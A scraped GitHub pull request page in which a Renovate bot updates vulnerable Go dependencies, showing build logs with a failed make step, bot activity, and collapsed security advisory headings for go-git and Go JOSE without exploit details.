go: downloading github.com/charmbracelet/x/ansi v0.11.8
go: downloading go.opentelemetry.io/collector/pdata v1.66.0
go: downloading github.com/mattn/go-runewidth v0.0.29
go: downloading github.com/segmentio/asm v1.2.0
go: downloading go.opentelemetry.io/otel/log v0.22.0
go: downloading github.com/grpc-ecosystem/grpc-gateway/v2 v2.30.0
go: downloading github.com/go-git/go-billy/v6 v6.0.0-alpha.2
go: downloading github.com/xo/terminfo v1.0.0
go: downloading github.com/ProtonMail/go-crypto v1.4.1
go: downloading go.opentelemetry.io/collector/featuregate v1.66.0
go: downloading github.com/cloudflare/circl v1.6.5
go: downloading google.golang.org/genproto/googleapis/api v0.0.0-20260831171406-18b4a7587f8a
/bin/bash: line 1: pulumi: command not found
make[1]: *** [Makefile:161: .make/generate_java] Error 127
make: *** [Makefile:344: renovate] Error 2

github-actions · 2026-09-09T05:34:32Z

Does the PR have any schema changes?

Generated by schema-tools v0.8.1.

Looking good! No breaking changes found.
No new resources/functions/types.

Maintainer note: consult the runbook for dealing with any breaking changes.

pulumi-renovate Bot added dependencies Pull requests that update a dependency file impact/no-changelog-required This issue doesn't require a CHANGELOG update labels Sep 9, 2026

pulumi-renovate Bot enabled auto-merge (squash) September 9, 2026 05:32

pulumi-renovate-approve Bot approved these changes Sep 9, 2026

View reviewed changes

pulumi-renovate Bot force-pushed the renovate/security branch from 4b75fe0 to ac290a9 Compare September 11, 2026 04:54

pulumi-renovate Bot changed the title ~~Update dependency js-yaml to v4.3.2 [SECURITY]~~ Update vulnerable dependencies [SECURITY] Sep 11, 2026

pulumi-renovate Bot changed the title ~~Update vulnerable dependencies [SECURITY]~~ Update dependency js-yaml to v4.3.2 [SECURITY] Sep 17, 2026

pulumi-renovate Bot force-pushed the renovate/security branch from ac290a9 to 4cc6b63 Compare September 17, 2026 22:17

pulumi-renovate Bot changed the title ~~Update dependency js-yaml to v4.3.2 [SECURITY]~~ Update vulnerable dependencies [SECURITY] Sep 17, 2026

pulumi-renovate Bot force-pushed the renovate/security branch 2 times, most recently from 796b220 to 526c2ff Compare September 25, 2026 16:36

pulumi-renovate Bot force-pushed the renovate/security branch 3 times, most recently from 16829d3 to 751d218 Compare October 23, 2026 06:36

pulumi-renovate Bot force-pushed the renovate/security branch 5 times, most recently from b26d93d to 13fea13 Compare November 3, 2026 07:28

Update vulnerable dependencies [SECURITY]

d2b5a29

pulumi-renovate Bot force-pushed the renovate/security branch from 13fea13 to d2b5a29 Compare November 8, 2026 18:32

Navigation Menu

Repository navigation

Update vulnerable dependencies [SECURITY] - #2379

Update vulnerable dependencies [SECURITY]#2379
pulumi-renovate[bot] wants to merge 1 commit into
masterfrom
renovate/security

pulumi-renovate Bot commented Sep 9, 2026 •

edited

Loading

Uh oh!

pulumi-renovate Bot commented Sep 9, 2026 •

edited

Loading

Uh oh!

github-actions Bot commented Sep 9, 2026 •

edited

Loading

Uh oh!

Reviewers

Uh oh!

Assignees

Labels

Projects

Milestone

Development

Uh oh!

0 participants

Conversation

pulumi-renovate Bot commented Sep 9, 2026 • edited Loading Uh oh! There was an error while loading. Please reload this page.

Uh oh!

go-git: Worktree operations may follow symlinks

Details

Impact

Patches

Credits

Severity

References

go-git: Malicious reference names may modify files outside the reference storage

Details

Impact

Patches

Workarounds

References

Credits

Severity

References

go-git: Worktree operations may follow symlinks

Details

Impact

Patches

Credits

Severity

References

go-git: Malicious reference names may modify files outside the reference storage

Details

Impact

Patches

Workarounds

References

Credits

Severity

References

Worktree operations may follow symlinks in github.com/go-git/go-git

Details

Severity

References

Path traversal via crafted reference names in github.com/go-git/go-git

Details

Severity

References

Go JOSE: DoS when parsing JWKs that contain RSA keys

Details

Summary

Details

Proof of concept

Impact

Credits

Severity

References

Go JOSE: Panic during CBC-HMAC processing

Details

Summary

Details

Workarounds

Impact

Acknowledgements

Severity

References

Go JOSE: Panics in JSON parsing

Details

Summary

Impact

Workarounds

Acknowledgements

Severity

References

Go JOSE: Panic during CBC-HMAC processing

Details

Summary

Details

Workarounds

Impact

Acknowledgements

Severity

References

Go JOSE: Panics in JSON parsing

Details

pulumi-renovate Bot commented Sep 9, 2026 •

edited

Loading

pulumi-renovate Bot commented Sep 9, 2026 •

edited

Loading

github-actions Bot commented Sep 9, 2026 •

edited

Loading